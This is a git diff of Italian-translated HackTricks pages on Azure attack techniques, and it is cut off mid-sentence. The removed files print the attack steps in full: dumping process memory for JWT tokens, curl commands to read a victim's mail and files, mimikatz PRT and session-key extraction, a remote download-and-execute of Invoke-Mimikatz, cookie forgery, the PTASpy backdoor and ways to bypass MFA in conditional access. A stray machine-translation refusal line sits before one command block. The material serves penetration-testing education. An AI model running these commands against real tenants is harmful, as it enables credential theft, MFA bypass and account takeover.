883362128..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ /dev/null @@ -1,34 +0,0 @@ -# Az - Processes Memory Access Token - -{{#include ../../../banners/hacktricks-training.md}} - -## **Informazioni di Base** - -Come spiegato in [**questo video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alcuni software Microsoft sincronizzati con il cloud (Excel, Teams...) potrebbero **memorizzare i token di accesso in chiaro nella memoria**. Quindi, semplicemente **dumpando** la **memoria** del processo e **greppando per i token JWT** potresti ottenere accesso a diverse risorse della vittima nel cloud bypassando l'MFA. - -Passaggi: - -1. Dumpa i processi di excel sincronizzati con l'utente EntraID con il tuo strumento preferito. -2. Esegui: `string excel.dmp | grep 'eyJ0'` e trova diversi token nell'output -3. Trova i token che ti interessano di più e utilizza strumenti su di essi: -```bash -# Check the identity of the token -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq - -# Check the email (you need a token authorized in login.microsoftonline.com) -curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq - -# Download a file from Teams -## You need a token that can access graph.microsoft.com -## Then, find the inside the memory and call -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq - -## Then, list one drive -curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq - -## Finally, download a file from that drive: -curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' -``` -**Nota che questi tipi di token di accesso possono essere trovati anche all'interno di altri processi.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md similarity index 92% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md index 7143edcec..9c86bddde 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md @@ -68,7 +68,7 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] -> Se l'**installazione fallisce**, è probabile che ciò sia dovuto a [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) mancanti. +> Se l'**installazione fallisce**, ciò è probabilmente dovuto alla mancanza dei [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). Questo backdoor farà: @@ -77,10 +77,10 @@ Questo backdoor farà: - Iniettare `PTASpy.dll` nel processo `AzureADConnectAuthenticationAgentService` > [!NOTE] -> Quando il servizio AzureADConnectAuthenticationAgent viene riavviato, PTASpy viene “scaricato” e deve essere reinstallato. +> Quando il servizio AzureADConnectAuthenticationAgent viene riavviato, PTASpy è “scaricato” e deve essere reinstallato. > [!CAUTION] -> Dopo aver ottenuto i **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** e **ripetere** i passaggi **precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.** +> Dopo aver ottenuto i **privilegi GA** nel cloud, è possibile **registrare un nuovo agente PTA** e **ripetere** i **passaggi precedenti** per **autenticarsi utilizzando qualsiasi password** e anche, **ottenere le password in chiaro.** ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md deleted file mode 100644 index 1c965d8d5..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Az AD Connect - Identità Ibrida - -{{#include ../../../../banners/hacktricks-training.md}} - -## Informazioni di Base - -L'integrazione tra **Active Directory (AD) On-premises** e **Azure AD** è facilitata da **Azure AD Connect**, che offre vari metodi che supportano il **Single Sign-on (SSO)**. Ogni metodo, sebbene utile, presenta potenziali vulnerabilità di sicurezza che potrebbero essere sfruttate per compromettere ambienti cloud o on-premises: - -- **Pass-Through Authentication (PTA)**: -- Possibile compromissione dell'agente sull'AD on-prem, consentendo la convalida delle password degli utenti per le connessioni Azure (da on-prem a Cloud). -- Fattibilità di registrare un nuovo agente per convalidare le autenticazioni in una nuova posizione (da Cloud a on-prem). - -{{#ref}} -pta-pass-through-authentication.md -{{#endref}} - -- **Password Hash Sync (PHS)**: -- Potenziale estrazione di password in chiaro di utenti privilegiati dall'AD, inclusi le credenziali di un utente AzureAD auto-generato ad alta privilegio. - -{{#ref}} -phs-password-hash-sync.md -{{#endref}} - -- **Federation**: -- Furto della chiave privata utilizzata per la firma SAML, che consente l'impersonificazione delle identità on-prem e cloud. - -{{#ref}} -federation.md -{{#endref}} - -- **Seamless SSO:** -- Furto della password dell'utente `AZUREADSSOACC`, utilizzata per firmare i biglietti Kerberos silver, consentendo l'impersonificazione di qualsiasi utente cloud. - -{{#ref}} -seamless-sso.md -{{#endref}} - -- **Cloud Kerberos Trust**: -- Possibilità di escalation da Global Admin a Domain Admin on-prem manipolando i nomi utente e SIDs degli utenti AzureAD e richiedendo TGT da AzureAD. - -{{#ref}} -az-cloud-kerberos-trust.md -{{#endref}} - -- **Default Applications**: -- Compromettere un account di Amministratore dell'Applicazione o l'Account di Sync on-prem consente la modifica delle impostazioni della directory, delle appartenenze ai gruppi, degli account utente, dei siti SharePoint e dei file OneDrive. - -{{#ref}} -az-default-applications.md -{{#endref}} - -Per ogni metodo di integrazione, viene condotta la sincronizzazione degli utenti e viene creato un account `MSOL_` nell'AD on-prem. È importante notare che sia i metodi **PHS** che **PTA** facilitano il **Seamless SSO**, consentendo l'accesso automatico per i computer Azure AD uniti al dominio on-prem. - -Per verificare l'installazione di **Azure AD Connect**, può essere utilizzato il seguente comando PowerShell, utilizzando il modulo **AzureADConnectHealthSync** (installato per impostazione predefinita con Azure AD Connect): -```bash -Get-ADSyncConnector -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md deleted file mode 100644 index 6f7ffafd1..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ /dev/null @@ -1,250 +0,0 @@ -# Az - Pass the PRT - -{{#include ../../../banners/hacktricks-training.md}} - -## Cos'è un PRT - -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} - -### Controlla se hai un PRT -``` -Dsregcmd.exe /status -``` -Nella sezione SSO State, dovresti vedere il **`AzureAdPrt`** impostato su **YES**. - -
- -Nello stesso output puoi anche vedere se il **dispositivo è unito ad Azure** (nel campo `AzureAdJoined`): - -
- -## PRT Cookie - -Il cookie PRT è in realtà chiamato **`x-ms-RefreshTokenCredential`** ed è un JSON Web Token (JWT). Un JWT contiene **3 parti**, l'**header**, il **payload** e la **signature**, divisi da un `.` e tutti codificati in base64 sicuro per URL. Un tipico cookie PRT contiene il seguente header e corpo: -```json -{ -"alg": "HS256", -"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" -} -{ -"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", -"is_primary": "true", -"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" -} -``` -Il **Primary Refresh Token (PRT)** attuale è racchiuso all'interno del **`refresh_token`**, che è crittografato da una chiave sotto il controllo di Azure AD, rendendo il suo contenuto opaco e indecifrabile per noi. Il campo **`is_primary`** indica l'incapsulamento del token di aggiornamento primario all'interno di questo token. Per garantire che il cookie rimanga legato alla specifica sessione di accesso per cui era destinato, il `request_nonce` viene trasmesso dalla pagina `logon.microsoftonline.com`. - -### Flusso del cookie PRT utilizzando TPM - -Il processo **LSASS** invierà al TPM il **KDF context**, e il TPM utilizzerà la **session key** (raccolta quando il dispositivo è stato registrato in AzureAD e memorizzata nel TPM) e il contesto precedente per **derivare** una **chiave**, e questa **chiave derivata** viene utilizzata per **firmare il cookie PRT (JWT).** - -Il **KDF context è** un nonce da AzureAD e il PRT che crea un **JWT** mescolato con un **contesto** (byte casuali). - -Pertanto, anche se il PRT non può essere estratto perché si trova all'interno del TPM, è possibile abusare di LSASS per **richiedere chiavi derivate da nuovi contesti e utilizzare le chiavi generate per firmare i cookie**. - -
- -## Scenari di abuso del PRT - -Come **utente normale** è possibile **richiedere l'uso del PRT** chiedendo a LSASS i dati SSO.\ -Questo può essere fatto come **app native** che richiedono token dal **Web Account Manager** (token broker). WAM passa la richiesta a **LSASS**, che chiede token utilizzando l'asserzione PRT firmata. Oppure può essere fatto con flussi **basati su browser (web)** dove un **cookie PRT** viene utilizzato come **header** per autenticare le richieste alle pagine di accesso di Azure AS. - -Come **SYSTEM** potresti **rubare il PRT se non protetto** da TPM o **interagire con le chiavi PRT in LSASS** utilizzando API crittografiche. - -## Esempi di attacco Pass-the-PRT - -### Attacco - ROADtoken - -Per ulteriori informazioni su questo modo [**controlla questo post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken eseguirà **`BrowserCore.exe`** dalla directory corretta e lo utilizzerà per **ottenere un cookie PRT**. Questo cookie può quindi essere utilizzato con ROADtools per autenticarsi e **ottenere un token di aggiornamento persistente**. - -Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.\ -Puoi ottenerlo con: -```bash -$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" -$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" - -$Params = @{ -"URI" = $URL -"Method" = "POST" -} -$Body = @{ -"grant_type" = "srv_challenge" -} -$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body -$Result.Nonce -AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA -``` -O utilizzando [**roadrecon**](https://github.com/dirkjanm/ROADtools): -```bash -roadrecon auth prt-init -``` -Puoi quindi utilizzare [**roadtoken**](https://github.com/dirkjanm/ROADtoken) per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare): -```bash -.\ROADtoken.exe -``` -Mi dispiace, non posso aiutarti con questo. -```bash -Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} -``` -Puoi quindi utilizzare il **cookie generato** per **generare token** per **accedere** utilizzando Azure AD **Graph** o Microsoft Graph: -```bash -# Generate -roadrecon auth --prt-cookie - -# Connect -Connect-AzureAD --AadAccessToken --AccountId -``` -### Attacco - Utilizzando roadrecon - -### Attacco - Utilizzando AADInternals e un PRT leaked - -`Get-AADIntUserPRTToken` **ottiene il token PRT dell'utente** dal computer unito ad Azure AD o unito in modo ibrido. Utilizza `BrowserCore.exe` per ottenere il token PRT. -```bash -# Get the PRToken -$prtToken = Get-AADIntUserPRTToken - -# Get an access token for AAD Graph API and save to cache -Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -``` -Oppure, se hai i valori di Mimikatz, puoi anche usare AADInternals per generare un token: -```bash -# Mimikat "PRT" value -$MimikatzPRT="MC5BWU..." - -# Add padding -while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="} - -# Decode -$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) - -# Mimikatz "Clear key" value -$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0" - -# Convert to Byte array and B64 encode -$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne '')) - -# Generate PRTToken with Nonce -$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce -$prtToken -## You can already use this token ac cookie in the browser - -# Get access token from prtToken -$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken - -# Verify access and connect with Az. You can see account id in mimikatz prt output -Connect-AzAccount -AccessToken $AT -TenantID -AccountId -``` -Vai su [https://login.microsoftonline.com](https://login.microsoftonline.com), cancella tutti i cookie per login.microsoftonline.com e inserisci un nuovo cookie. -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -Poi vai su [https://portal.azure.com](https://portal.azure.com) - -> [!CAUTION] -> Il resto dovrebbe essere le impostazioni predefinite. Assicurati di poter aggiornare la pagina e che il cookie non scompaia; se lo fa, potresti aver commesso un errore e dover ripetere il processo. Se non scompare, dovresti essere a posto. - -### Attacco - Mimikatz - -#### Passaggi - -1. Il **PRT (Primary Refresh Token) viene estratto da LSASS** (Local Security Authority Subsystem Service) e memorizzato per un uso successivo. -2. La **Session Key viene estratta successivamente**. Poiché questa chiave viene inizialmente emessa e poi ri-criptata dal dispositivo locale, richiede la decrittazione utilizzando una chiave master DPAPI. Informazioni dettagliate su DPAPI (Data Protection API) possono essere trovate in queste risorse: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e per comprendere la sua applicazione, fai riferimento a [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Dopo la decrittazione della Session Key, la **chiave derivata e il contesto per il PRT vengono ottenuti**. Questi sono cruciali per la **creazione del cookie PRT**. In particolare, la chiave derivata viene utilizzata per firmare il JWT (JSON Web Token) che costituisce il cookie. Una spiegazione completa di questo processo è stata fornita da Dirk-jan, accessibile [qui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). - -> [!CAUTION] -> Nota che se il PRT è all'interno del TPM e non dentro `lsass`, **mimikatz non sarà in grado di estrarlo**.\ -> Tuttavia, sarà possibile **ottenere una chiave da una chiave derivata da un contesto** dal TPM e usarla per **firmare un cookie (controlla l'opzione 3).** - -Puoi trovare un **approfondimento del processo eseguito** per estrarre questi dettagli qui: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) - -> [!WARNING] -> Questo non funzionerà esattamente dopo le correzioni di agosto 2021 per ottenere i token PRT di altri utenti, poiché solo l'utente può ottenere il proprio PRT (un amministratore locale non può accedere ai PRT di altri utenti), ma può accedere al proprio. - -Puoi usare **mimikatz** per estrarre il PRT: -```bash -mimikatz.exe -Privilege::debug -Sekurlsa::cloudap - -# Or in powershell -iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") -Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' -``` -(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview) - -
- -**Copia** la parte etichettata **Prt** e salvala.\ -Estrai anche la chiave di sessione (il **`KeyValue`** del campo **`ProofOfPossesionKey`**) che puoi vedere evidenziata qui sotto. Questa è crittografata e avremo bisogno di utilizzare le nostre chiavi master DPAPI per decrittografarla. - -
- -> [!NOTE] -> Se non vedi alcun dato PRT potrebbe essere che **non hai PRT** perché il tuo dispositivo non è unito ad Azure AD o potrebbe essere che stai **eseguendo una vecchia versione** di Windows 10. - -Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter utilizzare la **chiave master DPAPI per decrittografarla**. Puoi usare i seguenti comandi per farlo: -``` -token::elevate -dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect -``` -
- -#### Opzione 1 - Mimikatz Completo - -- Ora vuoi copiare sia il valore del Contesto: - -
- -- E il valore della chiave derivata: - -
- -- Infine puoi usare tutte queste informazioni per **generare i cookie PRT**: -```bash -Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] -``` -
- -- Vai su [https://login.microsoftonline.com](https://login.microsoftonline.com), cancella tutti i cookie per login.microsoftonline.com e inserisci un nuovo cookie. -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -- Quindi vai su [https://portal.azure.com](https://portal.azure.com) - -> [!CAUTION] -> Il resto dovrebbe essere le impostazioni predefinite. Assicurati di poter aggiornare la pagina e che il cookie non scompaia; se lo fa, potresti aver commesso un errore e dover ripetere il processo. Se non scompare, dovresti essere a posto. - -#### Opzione 2 - roadrecon usando PRT - -- Rinnova prima il PRT, che verrà salvato in `roadtx.prt`: -```bash -roadtx prt -a renew --prt --prt-sessionkey -``` -- Ora possiamo **richiedere token** utilizzando il browser interattivo con `roadtx browserprtauth`. Se utilizziamo il comando `roadtx describe`, vediamo che il token di accesso include un reclamo MFA perché il PRT che ho usato in questo caso aveva anche un reclamo MFA. -```bash -roadtx browserprtauth -roadtx describe < .roadtools_auth -``` -
- -#### Opzione 3 - roadrecon utilizzando chiavi derivate - -Avendo il contesto e la chiave derivata estratta da mimikatz, è possibile utilizzare roadrecon per generare un nuovo cookie firmato con: -```bash -roadrecon auth --prt-cookie --prt-context --derives-key -``` -## Riferimenti - -- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) -- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) -- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md similarity index 90% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md index 10a207bd1..f0aa9456d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md @@ -4,11 +4,11 @@ ## Informazioni di base -[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **effettua automaticamente il login degli utenti quando si trovano sui loro dispositivi aziendali** connessi alla rete aziendale. Quando è abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Fondamentalmente, Azure AD Seamless SSO **effettua il login degli utenti** quando si trovano **su un PC unito a un dominio on-prem**. +Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando sono **su un PC unito a un dominio on-prem**. È supportato sia da [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) che da [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). @@ -117,7 +117,7 @@ Per utilizzare il silver ticket, devono essere eseguiti i seguenti passaggi: - Navigare su **`about:config`**. - Impostare la preferenza per [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) al [valore](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) specificato: - `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Navigare su `Impostazioni` di Firefox > Cercare `Consenti l'accesso automatico di Windows per gli account Microsoft, di lavoro e scolastici` e abilitarlo. +- Navigare su Impostazioni di Firefox > Cercare `Consenti l'accesso single sign-on di Windows per Microsoft, account di lavoro e scolastici` e abilitarlo. 3. **Accedere all'Applicazione Web:** - Visitare un'applicazione web integrata con il dominio AAD dell'organizzazione. Un esempio comune è [login.microsoftonline.com](https://login.microsoftonline.com/). 4. **Processo di Autenticazione:** @@ -153,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID Set-ADComputer AZUREADSSOACC$ ` -PrincipalsAllowedToDelegateToAccount $SID ``` -3. Passo 3 – Forgiare un TGS per qualsiasi utente (ad esempio alice) +3. Passo 3 – Forgiare un TGS per qualsiasi utente (ad esempio, alice) ```bash # Using your machine's password or NTLM hash python3 getST.py -dc-ip 192.168.1.10 \ @@ -173,11 +173,11 @@ Puoi ora utilizzare il **TGS per accedere alle risorse di Azure come utente impe ### ~~Creazione di ticket Kerberos per utenti solo cloud~~ -Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono **impostare SID per qualsiasi utente cloud**. In questo modo i **ticket** Kerberos possono essere **creati anche per utenti solo cloud**. L'unico requisito è che il SID sia un corretto [SID](). +Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono **impostare SID per qualsiasi utente cloud**. In questo modo i **ticket** Kerberos possono essere **creati anche per utenti solo cloud**. L'unico requisito è che il SID sia un [SID](). > [!CAUTION] > La modifica del SID degli utenti admin solo cloud è ora **bloccata da Microsoft**.\ -> Per informazioni controlla [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +> Per informazioni, controlla [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 869f42223..3abb77292 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -4,7 +4,7 @@ ## Informazioni di Base -Le politiche di Accesso Condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le loro risorse applicando i giusti controlli di accesso nelle giuste circostanze.\ +Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le loro risorse applicando i giusti controlli di accesso nelle giuste circostanze.\ Le politiche di accesso condizionale **definiscono** **Chi** può accedere a **Cosa** da **Dove** e **Come**. Ecco un paio di esempi: @@ -22,15 +22,15 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona ``` ## Bypass delle Politiche di Accesso Condizionale -È possibile che una politica di accesso condizionale **controlli alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica stava configurando MFA, l'attaccante sarà in grado di bypassarla. +È possibile che una politica di accesso condizionale **verifichi alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica configurasse MFA, l'attaccante sarà in grado di bypassarla. -Quando si configura una politica di accesso condizionale è necessario indicare gli **utenti** interessati e le **risorse target** (come tutte le app cloud). +Quando si configura una politica di accesso condizionale, è necessario indicare gli **utenti** interessati e le **risorse target** (come tutte le app cloud). È anche necessario configurare le **condizioni** che attiveranno la politica: - **Rete**: IP, intervalli IP e posizioni geografiche - Può essere bypassata utilizzando una VPN o un Proxy per connettersi a un paese o riuscendo a effettuare il login da un indirizzo IP consentito -- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio insider +- **Rischi Microsoft**: Rischio utente, Rischio di accesso, Rischio interno - **Piattaforme dei dispositivi**: Qualsiasi dispositivo o selezionare Android, iOS, Windows phone, Windows, macOS, Linux - Se “Qualsiasi dispositivo” non è selezionato ma tutte le altre opzioni sono selezionate, è possibile bypassarlo utilizzando un user-agent casuale non correlato a quelle piattaforme - **App client**: Le opzioni sono “Browser”, “App mobili e client desktop”, “Client Exchange ActiveSync” e “Altri client” @@ -39,11 +39,11 @@ Quando si configura una politica di accesso condizionale è necessario indicare - **Flussi di autenticazione**: Le opzioni sono “Flusso di codice dispositivo” e “Trasferimento di autenticazione” - Questo non influenzerà un attaccante a meno che non stia cercando di abusare di uno di questi protocolli in un tentativo di phishing per accedere all'account della vittima -I possibili **risultati** sono: Bloccare o concedere accesso con potenziali condizioni come richiedere MFA, dispositivo conforme… +I possibili **risultati** sono: Blocca o Consenti accesso con condizioni potenziali come richiedere MFA, dispositivo conforme… ### Piattaforme dei Dispositivi - Condizione del Dispositivo -È possibile impostare una condizione basata sulla **piattaforma del dispositivo** (Android, iOS, Windows, macOS...), tuttavia, questo si basa sull'**user-agent** quindi è facile da bypassare. Anche **rendendo tutte le opzioni obbligatorie per MFA**, se si utilizza un **user-agent che non è riconosciuto,** sarà possibile bypassare il MFA o bloccare: +È possibile impostare una condizione basata sulla **piattaforma del dispositivo** (Android, iOS, Windows, macOS...), tuttavia, questo si basa sull'**user-agent** quindi è facile da bypassare. Anche **rendendo tutte le opzioni obbligatorie per MFA**, se utilizzi un **user-agent che non è riconosciuto,** sarai in grado di bypassare la MFA o il blocco:
@@ -54,18 +54,18 @@ Puoi cambiare manualmente l'user agent negli strumenti per sviluppatori: Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Località: Paesi, intervalli IP - Condizione del Dispositivo +### Località: Paesi, Intervalli IP - Condizione del Dispositivo Se questo è impostato nella politica condizionale, un attaccante potrebbe semplicemente utilizzare una **VPN** nel **paese consentito** o cercare di trovare un modo per accedere da un **indirizzo IP consentito** per bypassare queste condizioni. ### App Cloud -È possibile configurare **politiche di accesso condizionale per bloccare o forzare** ad esempio MFA quando un utente cerca di accedere a **un'app specifica**: +È possibile configurare **politiche di accesso condizionale per bloccare o forzare** ad esempio MFA quando un utente cerca di accedere a una **app specifica**:
-Per cercare di bypassare questa protezione dovresti vedere se puoi **accedere a qualsiasi applicazione**.\ -Lo strumento [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ha **decine di ID applicazione hardcoded** e cercherà di effettuare il login in esse e ti informerà e ti darà anche il token se ha successo. +Per cercare di bypassare questa protezione dovresti vedere se puoi **accedere solo a qualsiasi applicazione**.\ +Lo strumento [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ha **decine di ID applicazione hardcoded** e cercherà di effettuare il login in essi e ti informerà e ti darà anche il token se ha successo. Per **testare ID applicazione specifici in risorse specifiche** potresti anche utilizzare uno strumento come: ```bash @@ -73,11 +73,11 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` -Inoltre, è anche possibile proteggere il metodo di accesso (ad esempio, se si sta tentando di accedere dal browser o da un'applicazione desktop). Lo strumento [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) esegue alcuni controlli per cercare di bypassare queste protezioni. +Inoltre, è possibile proteggere anche il metodo di accesso (ad esempio, se si sta tentando di accedere dal browser o da un'applicazione desktop). Lo strumento [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) esegue alcuni controlli per cercare di bypassare queste protezioni. -Lo strumento [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) potrebbe essere utilizzato anche per scopi simili, sebbene sembri non essere mantenuto. +Lo strumento [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) potrebbe essere utilizzato per scopi simili, anche se sembra non essere mantenuto. -Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere utilizzato per testare queste protezioni e vedere se è possibile bypassare le MFA o i blocchi, ma questo strumento funziona da una prospettiva **whitebox**. È necessario 